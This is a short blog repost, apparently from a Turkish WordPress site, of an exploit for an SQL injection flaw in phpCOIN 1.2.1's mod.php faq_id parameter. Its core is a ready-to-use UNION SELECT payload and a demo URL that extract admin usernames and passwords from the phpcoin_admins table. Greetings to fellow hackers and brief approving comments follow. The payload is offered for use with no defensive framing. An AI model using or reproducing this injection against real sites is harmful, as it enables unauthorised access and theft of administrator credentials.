phpCOIN 1.2.1 (mod.php) SQL Injection Vulnerability


phpCOIN 1.2.1 (mod.php) SQL Injection Vulnerability

###########################

Author : Baybora

Homepage : http://www.1923turk.com

Blog : https://baybora.wordpress.com/

Script : phpCOIN 1.2.1

Download : http://www.phpcoin.com/

###########################

[ Vulnerable File ]

mod.php?mod=faq&mode=show&faq_id= [ SQL ]

[ XpL ]

-1+UNION+SELECT+1,2,3,4,5,6,7,concat(admin_user_name,0x3a,admin_user_pword),9,10,11,12,13,14,15,16+from+phpcoin_admins–

[ Demo]

http://serverbilling/mod.php?mod=faq&mode=show&faq_id=-1+UNION+SELECT+1,2,3,4,5,6,7,concat(admin_user_name,0x3a,admin_user_pword),9,10,11,12,13,14,15,16+from+phpcoin_admins–

##############################################################
# Greetz: Manas58 – Gamoscu – Delibey – Tiamo – Psiko – Turco – infazci – X-TRO
##############################################################

http://www.exploit-db.com/exploits/11565

Reklamlar

3 responses to this post.

  1. Posted by POmAK on 27 Ağustos 2010 at 15:35

    Süper!!

    Cevapla

  2. Posted by wolf-system on 23 Eylül 2010 at 15:35

    thanks. thanks…………….. thanks : )

    Cevapla

  3. I like this one terribly a lot of for a few reason

    Cevapla

Bir Cevap Yazın

Aşağıya bilgilerinizi girin veya oturum açmak için bir simgeye tıklayın:

WordPress.com Logosu

WordPress.com hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Twitter resmi

Twitter hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Facebook fotoğrafı

Facebook hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Google+ fotoğrafı

Google+ hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Connecting to %s

%d blogcu bunu beğendi: